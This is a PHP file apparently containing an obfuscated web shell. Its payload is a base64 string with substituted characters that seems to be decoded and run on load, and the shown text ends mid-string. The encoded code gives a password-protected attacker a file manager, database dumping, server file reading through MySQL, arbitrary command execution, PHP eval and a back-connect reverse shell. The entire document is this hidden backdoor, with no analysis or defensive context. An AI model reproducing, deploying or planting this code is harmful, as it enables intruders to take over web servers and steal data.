<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQo1cnIycl9yNXAycnQ0bmcoNyk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KMmJfc3QxcnQoKTsNCiRtdDRtNSA9IDV4cGwyZDUoJyAnLCBtNGNyMnQ0bTUoKSk7DQokc3QxcnR0NG01ID0gJG10NG01WzZdICsgJG10NG01WzBdOw0KZDVmNG41KCdTQV9ST09UJywgc3RyX3I1cGwxYzUoJ1xcJywgJy8nLCBkNHJuMW01KF9fRklMRV9fKSkuJy8nKTsNCmQ1ZjRuNSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsNCmQ1ZjRuNSgnSVNfQ09NJywgY2wxc3NfNXg0c3RzKCdDT00nKSA/IDYgOiAwICk7DQpkNWY0bjUoJ0lTX0dQQycsIGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpOw0KJGQ0c19mM25jID0gZzV0X2NmZ192MXIoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQpkNWY0bjUoJ0lTX1BIUElORk8nLCAoITVyNWc0KCJwaHA0bmYyIiwkZDRzX2YzbmMpKSA/IDYgOiAwICk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQoNCmYycjUxY2goMXJyMXkoJ19HRVQnLCdfUE9TVCcpIDFzICRfcjVxMzVzdCkgew0KCWYycjUxY2goJCRfcjVxMzVzdCAxcyAkX2s1eSA9PiAkX3YxbDM1KSB7DQoJCTRmICgkX2s1eXswfSAhPSAnXycpIHsNCgkJCTRmIChJU19HUEMpIHsNCgkJCQkkX3YxbDM1ID0gc18xcnIxeSgkX3YxbDM1KTsNCgkJCX0NCgkJCSQkX2s1eSA9ICRfdjFsMzU7DQoJCX0NCgl9DQp9DQokMWRtNG4gPSAxcnIxeSgpOw0KJDFkbTRuWydjaDVjayddID0gdHIzNTsNCiQxZG00blsncDFzcyddICA9ICd1dWlhMDVmNm85dTFhNjV1ZjZmMDkwMGY3ZGNmMGlkNic7IC8vcnYwMDcNCg0KJDFkbTRuWydjMjJrNDVwcjUnXSA9ICcnOw0KJDFkbTRuWydjMjJrNDVkMm0xNG4nXSA9ICcnOw0KJDFkbTRuWydjMjJrNDVwMXRoJ10gPSAnLyc7DQokMWRtNG5bJ2MyMms0NWw0ZjUnXSA9IDhldTAwOw0KDQohJHdyNHQxYmw1ZGIgJiYgJHdyNHQxYmw1ZGIgPSAncGhwLGNnNCxwbCwxc3AsNG5jLGpzLGh0bWwsaHRtLGpzcCc7DQoNCiRjaDFyczV0ZGIgPSAxcnIxeSgNCgknMXJtc2M0NDgnLA0KCScxc2M0NCcsDQoJJ2I0Z2knLA0KCSdiNG4xcnknLA0KCSdjcDZhaTAnLA0KCSdjcDZhaTYnLA0KCSdjcDZhaWUnLA0KCSdjcDZhaTcnLA0KCSdjcDhpMCcsDQoJJ2NwOGlhJywNCgknY3A4ZWUnLA0KCSdjcDlvYScsDQoJJ2Q1YzgnLA0KCSc1M2NqcG1zJywNCgknNTNja3InLA0KCSdnYmFvNmEnLA0KCSdnYmsnLA0KCSdnNTJzdGQ4JywNCgknZ3I1NWsnLA0KCSdoNWJyNXcnLA0KCSdocDgnLA0KCSdrNXliY3NhJywNCgknazI0OHInLA0KCSdrMjQ4MycsDQoJJ2wxdDRuNicsDQoJJ2wxdDRuYScsDQoJJ2wxdDRuaScsDQoJJ2wxdDRuNycsDQoJJ20xY2M1JywNCgknbTFjcjJtMW4nLA0KCSdzajRzJywNCgknc3c1NycsDQoJJ3Q0c2VhMCcsDQoJJzNjc2EnLA0KCSczajRzJywNCgknM3RmOCcNCik7DQo0ZiAoJGNoMXJzNXQgPT0gJzN0ZjgnKSB7DQoJaDUxZDVyKCJjMm50NW50LVR5cDU6IHQ1eHQvaHRtbDsgY2gxcnM1dD0zdGYtOCIpOw0KfSA1bHM1NGYgKCRjaDFyczV0ID09ICdiNGdpJykgew0KCWg1MWQ1cigiYzJudDVudC1UeXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9YjRnaSIpOw0KfSA1bHM1NGYgKCRjaDFyczV0ID09ICdnYmsnKSB7DQoJaDUxZDVyKCJjMm50NW50LVR5cDU6IHQ1eHQvaHRtbDsgY2gxcnM1dD1nYmsiKTsNCn0gNWxzNTRmICgkY2gxcnM1dCA9PSAnbDF0NG42Jykgew0KCWg1MWQ1cigiYzJudDVudC1UeXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9NHMyLTg4aTktYSIpOw0KfSA1bHM1NGYgKCRjaDFyczV0ID09ICc1M2NrcicpIHsNCgloNTFkNXIoImMybnQ1bnQtVHlwNTogdDV4dC9odG1sOyBjaDFyczV0PTUzYy1rciIpOw0KfSA1bHM1NGYgKCRjaDFyczV0ID09ICc1M2NqcG1zJykgew0KCWg1MWQ1cigiYzJudDVudC1UeXA1OiB0NXh0L2h0bWw7IGNoMXJzNXQ9NTNjLWpwIik7DQp9DQoNCiRzNWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gPyAkX1NFUlZFUlsnUEhQX1NFTEYnXSA6ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KJHQ0bTVzdDFtcCA9IHQ0bTUoKTsNCg0KNGYgKCQxY3Q0Mm4gPT0gImwyZzIzdCIpIHsNCglzYzIyazQ1KCdsMmc0bnAxc3MnLCAnJywgLThldTAwICogb2VpKTsNCglwKCc8bTV0MSBodHRwLTVxMzR2PSJyNWZyNXNoIiBjMm50NW50PSI2O1VSTD0nLiRzNWxmLiciPicpOw0KCXAoJzwxIHN0eWw1PSJmMm50OjZhcHggVjVyZDFuMSIgaHI1Zj0iJy4kczVsZi4nIj5TM2NjNXNzPC8xPicpOw0KCTV4NHQ7DQp9DQo0ZigkMWRtNG5bJ2NoNWNrJ10pIHsNCgk0ZiAoJGQyNG5nID09ICdsMmc0bicpIHsNCgkJNGYgKCQxZG00blsncDFzcyddID09IG1kaSgkcDFzc3cycmQpKSB7DQoJCQlzYzIyazQ1KCdsMmc0bnAxc3MnLCBtZGkoJHAxc3N3MnJkKSk7DQoJCQlwKCc8bTV0MSBodHRwLTVxMzR2PSJyNWZyNXNoIiBjMm50NW50PSI2O1VSTD0nLiRzNWxmLiciPicpOw0KCQkJcCgnPDEgc3R5bDU9ImYybnQ6NmFweCBWNXJkMW4xIiBocjVmPSInLiRzNWxmLiciPlMzY2M1c3M8LzE+Jyk7DQoJCQk1eDR0Ow0KCQl9DQoJfQ0KCTRmICgkX0NPT0tJRVsnbDJnNG5wMXNzJ10pIHsNCgkJNGYgKCRfQ09PS0lFWydsMmc0bnAxc3MnXSAhPSAkMWRtNG5bJ3Axc3MnXSkgew0KCQkJbDJnNG5wMWc1KCk7DQoJCX0NCgl9IDVsczUgew0KCQlsMmc0bnAxZzUoKTsNCgl9DQp9DQoNCiQ1cnJtc2cgPSAnJzsNCg0KNGYgKCQxY3Q0Mm4gPT0gJ3BocDRuZjInKSB7DQoJNGYgKElTX1BIUElORk8pIHsNCgkJcGhwNG5mMigpOw0KCQk1eDR0Ow0KCX0gNWxzNSB7DQoJCSQ1cnJtc2cgPSAncGhwNG5mMigpIGYzbmN0NDJuIGgxcyBuMm4tcDVybTRzczRibDUnOw0KCX0NCn0NCg0KNGYgKCRkMjRuZyA9PSAnZDJ3bmY0bDUnICYmICR0aDVmNGw1KSB7DQoJNGYgKCFAZjRsNV81eDRzdHMoJHRoNWY0bDUpKSB7DQoJCSQ1cnJtc2cgPSAnVGg1IGY0bDUgeTIzIHcxbnQgRDJ3bmwyMWQxYmw1IHcxcyBuMm41eDRzdDVudCc7DQoJfSA1bHM1IHsNCgkJJGY0bDU0bmYyID0gcDF0aDRuZjIoJHRoNWY0bDUpOw0KCQloNTFkNXIoJ0MybnQ1bnQtdHlwNTogMXBwbDRjMXQ0Mm4veC0nLiRmNGw1NG5mMlsnNXh0NW5zNDJuJ10pOw0KCQloNTFkNXIoJ0MybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PScuJGY0bDU0bmYyWydiMXM1bjFtNSddKTsNCgkJaDUxZDVyKCdDMm50NW50LUw1bmd0aDogJy5mNGw1czR6NSgkdGg1ZjRsNSkpOw0KCQlAcjUxZGY0bDUoJHRoNWY0bDUpOw0KCQk1eDR0Ow0KCX0NCn0NCg0KNGYgKCRkMjRuZyA9PSAnYjFjazNwbXlzcWwnICYmICEkczF2NTFzZjRsNSkgew0KCW15ZGJjMm5uKCRkYmgyc3QsICRkYjNzNXIsICRkYnAxc3MsICRkYm4xbTUsICRjaDFyczV0LCAkZGJwMnJ0KTsNCgkkdDFibDUgPSAxcnIxeV9mbDRwKCR0MWJsNSk7DQoJJHI1czNsdCA9IHEoIlNIT1cgdDFibDVzIik7DQoJNGYgKCEkcjVzM2x0KSBwKCc8aGE+Jy5teXNxbF81cnIycigpLic8L2hhPicpOw0KCSRmNGw1bjFtNSA9IGIxczVuMW01KCRfU0VSVkVSWydIVFRQX0hPU1QnXS4nX015U1FMLnNxbCcpOw0KCWg1MWQ1cignQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi8zbmtuMnduJyk7DQoJaDUxZDVyKCdDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0nLiRmNGw1bjFtNSk7DQoJJG15c3FsZDF0MSA9ICcnOw0KCXdoNGw1ICgkYzNycjJ3ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCkpIHsNCgkJNGYgKDRzczV0KCR0MWJsNVskYzNycjJ3WzBdXSkpIHsNCgkJCSRteXNxbGQxdDEgLj0gc3FsZDNtcHQxYmw1KCRjM3JyMndbMF0pOw0KCQl9DQoJfQ0KCW15c3FsX2NsMnM1KCk7DQoJNXg0dDsNCn0NCg0KNGYoJGQyNG5nPT0nbXlzcWxkMnduJyl7DQoJNGYgKCEkZGJuMW01KSB7DQoJCSQ1cnJtc2cgPSAnUGw1MXM1IDRucDN0IGRibjFtNSc7DQoJfSA1bHM1IHsNCgkJbXlkYmMybm4oJGRiaDJzdCwgJGRiM3M1ciwgJGRicDFzcywgJGRibjFtNSwgJGNoMXJzNXQsICRkYnAycnQpOw0KCQk0ZiAoIWY0bDVfNXg0c3RzKCRteXNxbGRsZjRsNSkpIHsNCgkJCSQ1cnJtc2cgPSAnVGg1IGY0bDUgeTIzIHcxbnQgRDJ3bmwyMWQxYmw1IHcxcyBuMm41eDRzdDVudCc7DQoJCX0gNWxzNSB7DQoJCQkkcjVzM2x0ID0gcSgiczVsNWN0IGwyMWRfZjRsNSgnJG15c3FsZGxmNGw1Jyk7Iik7DQoJCQk0ZighJHI1czNsdCl7DQoJCQkJcSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdG1wXzFuZzVsOyIpOw0KCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfMW5nNWwgKGMybnQ1bnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOw0KCQkJCS8vJiNhOTk5YTsmI2FlNjBhOyYjbzhvODg7JiNhaTZvOTsmI2FldWU5OyYjb3U5YTA7JiNvNjBvdTsmI2FpNm8wOyYjYWUwYTk7LCYjb2U5OTY7JiNhMDg2bzsmI2EwOThlOyYjYTllNmU7JiNvaThvaTsmI2E2dWVhOyYjb29haTg7JiNvZWlhbzsmI2FpNjYwOyYjYTZhaW87JiNhNml1NztfXzFuZzVsXzY2NjY2NjY2NjZfNTJmX18mI28wb3UwOyYjYWk5OTY7JiNhMGE2dTsmI2FlNjBhOyYjNjk5ODY7JiNhb3VvZTsmI2FpOTdhOyYjbzBvdTA7JiNhdTc3bzsmI2EwOTY3Ow0KCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuMWRkc2wxc2g1cygkbXlzcWxkbGY0bDUpLiInIElOVE8gVEFCTEUgdG1wXzFuZzVsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfXzFuZzVsX3skdDRtNXN0MW1wfV81MmZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfXzFuZzVsX3skdDRtNXN0MW1wfV81MmZfXyc7Iik7DQoJCQkJJHI1czNsdCA9IHEoInM1bDVjdCBjMm50NW50IGZyMm0gdG1wXzFuZzVsIik7DQoJCQkJcSgiRFJPUCBUQUJMRSB0bXBfMW5nNWwiKTsNCgkJCX0NCgkJCSRyMncgPSBAbXlzcWxfZjV0Y2hfMXJyMXkoJHI1czNsdCk7DQoJCQk0ZiAoISRyMncpIHsNCgkJCQkkNXJybXNnID0gJ0wyMWQgZjRsNSBmMTRsNWQgJy5teXNxbF81cnIycigpOw0KCQkJfSA1bHM1IHsNCgkJCQkkZjRsNTRuZjIgPSBwMXRoNG5mMigkbXlzcWxkbGY0bDUpOw0KCQkJCWg1MWQ1cignQzJudDVudC10eXA1OiAxcHBsNGMxdDQybi94LScuJGY0bDU0bmYyWyc1eHQ1bnM0Mm4nXSk7DQoJCQkJaDUxZDVyKCdDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT0nLiRmNGw1NG5mMlsnYjFzNW4xbTUnXSk7DQoJCQkJaDUxZDVyKCJBY2M1cHQtTDVuZ3RoOiAiLnN0cmw1bigkcjJ3WzBdKSk7DQoJCQkJNWNoMiAkcjJ3WzBdOw0KCQkJCTV4NHQ7DQoJCQl9DQoJCX0NCgl9DQp9DQoNCj8+DQo8aHRtbD4NCjxoNTFkPg0KPG01dDEgaHR0cC01cTM0dj0iQzJudDVudC1UeXA1IiBjMm50NW50PSJ0NXh0L2h0bWw7IGNoMXJzNXQ9Z2JhbzZhIj4NCjx0NHRsNT48P3BocCA1Y2gyIHN0cl9yNXBsMWM1KCcuJywnJywnUi52LjAuMC43LngnKTs/PjwvdDR0bDU+DQo8c3R5bDUgdHlwNT0idDV4dC9jc3MiPg0KYjJkeSx0ZHtmMm50OiA2YXB4IEFyNDFsLFQxaDJtMTtsNG41LWg1NGdodDogNmVweDt9DQouNG5wM3R7ZjJudDo2YXB4IEFyNDFsLFQxaDJtMTtiMWNrZ3IyM25kOiNmZmY7YjJyZDVyOiA2cHggczJsNGQgI2VlZTtwMWRkNG5nOmFweDtoNTRnaHQ6YWFweDt9DQouMXI1MXtmMm50OjZhcHggJ0MyM3I0NXIgTjV3JywgTTJuMnNwMWM1O2IxY2tncjIzbmQ6I2ZmZjtiMnJkNXI6IDZweCBzMmw0ZCAjZWVlO3AxZGQ0bmc6YXB4O30NCi5idCB7YjJyZDVyLWMybDJyOiNiMGIwYjA7YjFja2dyMjNuZDojb2RvZG9kO2MybDJyOiNmZmZmZmY7ZjJudDo2YXB4IEFyNDFsLFQxaDJtMTtoNTRnaHQ6YWFweDt9DQoxIHtjMmwycjogIzAwZjt0NXh0LWQ1YzJyMXQ0Mm46M25kNXJsNG41O30NCjE6aDJ2NXJ7YzJsMnI6ICNmMDA7dDV4dC1kNWMycjF0NDJuOm4ybjU7fQ0KLjFsdDYgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgI2ZmZjtiMnJkNXItYjJ0dDJtOjZweCBzMmw0ZCAjZGRkO2IxY2tncjIzbmQ6I2Y2ZjZmNjtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7fQ0KLjFsdGEgdGR7YjJyZDVyLXQycDo2cHggczJsNGQgI2ZmZjtiMnJkNXItYjJ0dDJtOjZweCBzMmw0ZCAjZGRkO2IxY2tncjIzbmQ6I2Y5ZjlmOTtwMWRkNG5nOmlweCA2MHB4IGlweCBpcHg7fQ0KLmYyYzNzIHRke2IycmQ1ci10MnA6NnB4IHMybDRkICNmZmY7YjJyZDVyLWIydHQybTo2cHggczJsNGQgI2RkZDtiMWNrZ3IyM25kOiNmZmZmMTE7cDFkZDRuZzppcHggNjBweCBpcHggaXB4O30NCi5oNTFkIHRke2IycmQ1ci10MnA6NnB4IHMybDRkICNmZmY7YjJyZDVyLWIydHQybTo2cHggczJsNGQgI2RkZDtiMWNrZ3IyM25kOiM1OTU5NTk7cDFkZDRuZzppcHggNjBweCBpcHggaXB4O2YybnQtdzU0Z2h0OmIybGQ7fQ0KLmg1MWQgdGQgc3AxbntmMm50LXc1NGdodDpuMnJtMWw7fQ0KZjJybXttMXJnNG46MDtwMWRkNG5nOjA7fQ0KaGF7bTFyZzRuOjA7cDFkZDRuZzowO2g1NGdodDphdXB4O2w0bjUtaDU0Z2h0OmF1cHg7ZjJudC1zNHo1OjZ1cHg7YzJsMnI6I2lCZThlRjt9DQozbC40bmYyIGw0e20xcmc0bjowO2MybDJyOiN1dXU7bDRuNS1oNTRnaHQ6YXVweDtoNTRnaHQ6YXVweDt9DQoze3Q1eHQtZDVjMnIxdDQybjogbjJuNTtjMmwycjojNzc3O2ZsMjF0Omw1ZnQ7ZDRzcGwxeTpibDJjazt3NGR0aDo2aTBweDttMXJnNG4tcjRnaHQ6NjBweDt9DQo8L3N0eWw1Pg0KPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KZjNuY3Q0Mm4gQ2g1Y2tBbGwoZjJybSkgew0KCWYycih2MXIgND0wOzQ8ZjJybS41bDVtNW50cy5sNW5ndGg7NCsrKSB7DQoJCXYxciA1ID0gZjJybS41bDVtNW50c1s0XTsNCgkJNGYgKDUubjFtNSAhPSAnY2hrMWxsJykNCgkJNS5jaDVjazVkID0gZjJybS5jaGsxbGwuY2g1Y2s1ZDsNCiAgICB9DQp9DQpmM25jdDQybiAkKDRkKSB7DQoJcjV0M3JuIGQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKDRkKTsNCn0NCmYzbmN0NDJuIGcyMWN0NDJuKDFjdCl7DQoJJCgnZzIxY3Q0Mm4nKS4xY3Q0Mm4udjFsMzU9MWN0Ow0KCSQoJ2cyMWN0NDJuJykuczNibTR0KCk7DQp9DQo8L3NjcjRwdD4NCjwvaDUxZD4NCjxiMmR5IHN0eWw1PSJtMXJnNG46MDt0MWJsNS1sMXkyM3Q6ZjR4NWQ7IHcycmQtYnI1MWs6YnI1MWstMWxsIj4NCjx0MWJsNSB3NGR0aD0iNjAwJSIgYjJyZDVyPSIwIiBjNWxscDFkZDRuZz0iMCIgYzVsbHNwMWM0bmc9IjAiPg0KCTx0ciBjbDFzcz0iaDUxZCI+DQoJCTx0ZD48c3AxbiBzdHlsNT0iZmwyMXQ6cjRnaHQ7Ij48MSBocjVmPSJodHRwOi8vd3d3Lmc1MmM0dDQ1cy5qcC9ydjAwNzA2MDYvIiB0MXJnNXQ9Il9ibDFuayI+PD9waHAgNWNoMiBzdHJfcjVwbDFjNSgnLicsJycsJ1Iudi4wLjAuNy54Jyk7Pz4gVjVyOiBhMDYwIEIzNGxkIGEwMDk2YWFhPC8xPjwvc3Axbj48P3BocCA1Y2gyICRfU0VSVkVSWydIVFRQX0hPU1QnXTs/PiAoPD9waHAgNWNoMiBnNXRoMnN0YnluMW01KCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTs/Pik8L3RkPg0KCTwvdHI+DQoJPHRyIGNsMXNzPSIxbHQ2Ij4NCgkJPHRkPjxzcDFuIHN0eWw1PSJmbDIxdDpyNGdodDsiPlMxZjUgTTJkNTo8P3BocCA1Y2gyIGc1dGNmZygnczFmNV9tMmQ1Jyk7Pz48L3NwMW4+DQoJCQk8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdsMmcyM3QnKTsiPkwyZzIzdDwvMT4gfCANCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ2Y0bDUnKTsiPkY0bDUgTTFuMWc1cjwvMT4gfCANCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ215c3FsMWRtNG4nKTsiPk1ZU1FMIE0xbjFnNXI8LzE+IHwgDQoJCQk8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdtc3NxbDFkbTRuJyk7Ij5NU1NRTCBNMW4xZzVyPC8xPiB8IA0KCQkJPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignc3FsZjRsNScpOyI+TXlTUUwgVXBsMjFkICYxbXA7IEQyd25sMjFkPC8xPiB8IA0KCQkJPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignc2g1bGwnKTsiPkV4NWMzdDUgQzJtbTFuZDwvMT4gfCANCgkJCTwxIGhyNWY9ImoxdjFzY3I0cHQ6ZzIxY3Q0Mm4oJ3BocDVudicpOyI+UEhQIFYxcjQxYmw1PC8xPiB8IA0KCQkJPDEgaHI1Zj0iajF2MXNjcjRwdDpnMjFjdDQybignNXYxbCcpOyI+RXYxbCBQSFAgQzJkNTwvMT4NCgkJCTw/cGhwIDRmICghSVNfV0lOKSB7Pz4gfCA8MSBocjVmPSJqMXYxc2NyNHB0OmcyMWN0NDJuKCdiMWNrYzJubjVjdCcpOyI+QjFjayBDMm5uNWN0PC8xPjw/cGhwIH0/Pg0KCQk8L3RkPg0KCTwvdHI+DQo8L3QxYmw1Pg0KPHQxYmw1IHc0ZHRoPSI2MDAlIiBiMnJkNXI9IjAiIGM1bGxwMWRkNG5nPSI2aSIgYzVsbHNwMWM0bmc9IjAiPjx0cj48dGQ+DQo8P3BocA0KDQpmMnJtaDUxZCgxcnIxeSgnbjFtNSc9PidnMjFjdDQybicpKTsNCm0xazVoNGQ1KCcxY3Q0Mm4nKTsNCmYycm1mMjJ0KCk7DQoNCiQ1cnJtc2cgJiYgbSgkNXJybXNnKTsNCg0KLy8gJiNvbzc2OTsmI2E2dWVhOyYjYXV1MG87JiNhNjBlOTsmI29lb29pOyYjYXV1aWE7DQo0ZiAoISRkNHIpIHsNCgk0ZiAoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSkgew0KCQkkZDRyID0gJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXTsNCgl9IDVsczUgew0KCQkkZDRyID0gJy4nOw0KCX0NCn0NCg0KJG4yd3AxdGggPSBnNXRQMXRoKFNBX1JPT1QsICRkNHIpOw0KNGYgKHMzYnN0cigkZDRyLCAtNikgIT0gJy8nKSB7DQoJJGQ0ciA9ICRkNHIuJy8nOw0KfQ0KJDM1ZDRyID0gMzUoJGQ0cik7DQoNCjRmICghJDFjdDQybiB8fCAkMWN0NDJuID09ICdmNGw1Jykgew0KDQoJLy8gJiNhNjBhODsmI2FlMGE5OyYjb2k4b2k7JiNhMDg4OTsmI2F1NzdvOyYjYTA5Njc7DQoJJGQ0cl93cjR0NTFibDUgPSBANHNfd3I0dDFibDUoJG4yd3AxdGgpID8gJ1dyNHQxYmw1JyA6ICdOMm4td3I0dDFibDUnOw0KDQoJLy8gJiNhNjBhdTsmI284aTAwOyYjbzB1dWU7JiNhdXUwaTsNCgk0ZiAoJGQyNG5nID09ICdkNWxkNHInICYmICR0aDVmNGw1KSB7DQoJCTRmICghZjRsNV81eDRzdHMoJHRoNWY0bDUpKSB7DQoJCQltKCR0aDVmNGw1LicgZDRyNWN0MnJ5IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQltKCdENHI1Y3QycnkgZDVsNXQ1ICcuKGQ1bHRyNTUoJHRoNWY0bDUpID8gYjFzNW4xbTUoJHRoNWY0bDUpLicgczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gJiNhNjA2OTsmI2F1bzZ1OyYjbzB1dWU7JiNhdXUwaTsNCgk1bHM1NGYgKCRuNXdkNHJuMW01KSB7DQoJCSRta2Q0cnMgPSAkbjJ3cDF0aC4kbjV3ZDRybjFtNTsNCgkJNGYgKGY0bDVfNXg0c3RzKCRta2Q0cnMpKSB7DQoJCQltKCdENHI1Y3QycnkgaDFzIDFscjUxZHkgNXg0c3Q1ZCcpOw0KCQl9IDVsczUgew0KCQkJbSgnRDRyNWN0MnJ5IGNyNTF0NWQgJy4oQG1rZDRyKCRta2Q0cnMsMDc3NykgPyAnczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQkJQGNobTJkKCRta2Q0cnMsMDc3Nyk7DQoJCX0NCgl9DQoNCgkvLyAmIzY5OTc4OyYjYTBhaWU7JiNhaTk5NjsmI2EwYTZ1Ow0KCTVsczU0ZiAoJGQyM3BmNGw1KSB7DQoJCW0oJ0Y0bDUgM3BsMjFkICcuKEBjMnB5KCRfRklMRVNbJzNwbDIxZGY0bDUnXVsndG1wX24xbTUnXSwkM3BsMjFkZDRyLicvJy4kX0ZJTEVTWyczcGwyMWRmNGw1J11bJ24xbTUnXSkgPyAnczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCX0NCg0KCS8vICYjb2Fpb3U7JiNvZTdpbzsmI2FpOTk2OyYjYTBhNnU7DQoJNWxzNTRmICgkNWQ0dGY0bDVuMW01ICYmICRmNGw1YzJudDVudCkgew0KCQkkZnAgPSBAZjJwNW4oJDVkNHRmNGw1bjFtNSwndycpOw0KCQltKCdTMXY1IGY0bDUgJy4oQGZ3cjR0NSgkZnAsJGY0bDVjMm50NW50KSA/ICdzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCUBmY2wyczUoJGZwKTsNCgl9DQoNCgkvLyAmI29haW91OyYjb2U3aW87JiNhaTk5NjsmI2EwYTZ1OyYjYW9ldWU7JiNhdWU2aTsNCgk1bHM1NGYgKCRwZjRsNSAmJiAkbjV3cDVybSkgew0KCQk0ZiAoIWY0bDVfNXg0c3RzKCRwZjRsNSkpIHsNCgkJCW0oJ1RoNSAycjRnNG4xbCBmNGw1IGQyNXMgbjJ0IDV4NHN0Jyk7DQoJCX0gNWxzNSB7DQoJCQkkbjV3cDVybSA9IGIxczVfYzJudjVydCgkbjV3cDVybSw4LDYwKTsNCgkJCW0oJ00yZDRmeSBmNGw1IDF0dHI0YjN0NXMgJy4oQGNobTJkKCRwZjRsNSwkbjV3cDVybSkgPyAnczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gJiNhaTk2bzsmI2E2aTY3Ow0KCTVsczU0ZiAoJDJsZG4xbTUgJiYgJG41d2Y0bDVuMW01KSB7DQoJCSRubjFtNSA9ICRuMndwMXRoLiRuNXdmNGw1bjFtNTsNCgkJNGYgKGY0bDVfNXg0c3RzKCRubjFtNSkgfHwgIWY0bDVfNXg0c3RzKCQybGRuMW01KSkgew0KCQkJbSgkbm4xbTUuJyBoMXMgMWxyNTFkeSA1eDRzdDVkIDJyIDJyNGc0bjFsIGY0bDUgZDI1cyBuMnQgNXg0c3QnKTsNCgkJfSA1bHM1IHsNCgkJCW0oYjFzNW4xbTUoJDJsZG4xbTUpLicgcjVuMW01ZCAnLmIxczVuMW01KCRubjFtNSkuKEByNW4xbTUoJDJsZG4xbTUsJG5uMW01KSA/ICcgczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gJiNhYTc5NzsmI2E2MHVlOyYjYWk5OTY7JiNhMGE2dTsNCgk1bHM1NGYgKCRzbjFtNSAmJiAkdDJmNGw1KSB7DQoJCTRmIChmNGw1XzV4NHN0cygkdDJmNGw1KSB8fCAhZjRsNV81eDRzdHMoJHNuMW01KSkgew0KCQkJbSgnVGg1IGcyMWwgZjRsNSBoMXMgMWxyNTFkeSA1eDRzdDVkIDJyIDJyNGc0bjFsIGY0bDUgZDI1cyBuMnQgNXg0c3QnKTsNCgkJfSA1bHM1IHsNCgkJCW0oYjFzNW4xbTUoJHQyZjRsNSkuJyBjMnA0NWQgJy4oQGMycHkoJHNuMW01LCR0MmY0bDUpID8gYjFzNW4xbTUoJHQyZjRsNSkuJyBzM2NjNXNzJyA6ICdmMTRsNWQnKSk7DQoJCX0NCgl9DQoNCgkvLyAmI2EwODY2OyYjbzhpb3U7JiNhZTYwYTsmI284bzg4Ow0KCTVsczU0ZiAoJGMzcmY0bDUgJiYgJHQxcmY0bDUpIHsNCgkJNGYgKCFAZjRsNV81eDRzdHMoJGMzcmY0bDUpIHx8ICFAZjRsNV81eDRzdHMoJHQxcmY0bDUpKSB7DQoJCQltKCdUaDUgZzIxbCBmNGw1IGgxcyAxbHI1MWR5IDV4NHN0NWQgMnIgMnI0ZzRuMWwgZjRsNSBkMjVzIG4ydCA1eDRzdCcpOw0KCQl9IDVsczUgew0KCQkJJHQ0bTUgPSBAZjRsNW10NG01KCR0MXJmNGw1KTsNCgkJCW0oJ00yZDRmeSBmNGw1IHRoNSBsMXN0IG0yZDRmNDVkICcuKEB0MjNjaCgkYzNyZjRsNSwkdDRtNSwkdDRtNSkgPyAnczNjYzVzcycgOiAnZjE0bDVkJykpOw0KCQl9DQoJfQ0KDQoJLy8gJiNvb2FpODsmI2FvdWkwOyYjYTAwdTY7JiNhZTYwYTsmI284bzg4Ow0KCTVsczU0ZiAoJGMzcmY0bDUgJiYgJHk1MXIgJiYgJG0ybnRoICYmICRkMXkgJiYgJGgyM3IgJiYgJG00bjN0NSAmJiAkczVjMm5kKSB7DQoJCTRmICghQGY0bDVfNXg0c3RzKCRjM3JmNGw1KSkgew0KCQkJbShiMXM1bjFtNSgkYzNyZjRsNSkuJyBkMjVzIG4ydCA1eDRzdCcpOw0KCQl9IDVsczUgew0KCQkJJHQ0bTUgPSBzdHJ0MnQ0bTUoIiR5NTFyLSRtMm50aC0kZDF5ICRoMjNyOiRtNG4zdDU6JHM1YzJuZCIpOw0KCQkJbSgnTTJkNGZ5IGY0bDUgdGg1IGwxc3QgbTJkNGY0NWQgJy4oQHQyM2NoKCRjM3JmNGw1LCR0NG01LCR0NG01KSA/ICdzM2NjNXNzJyA6ICd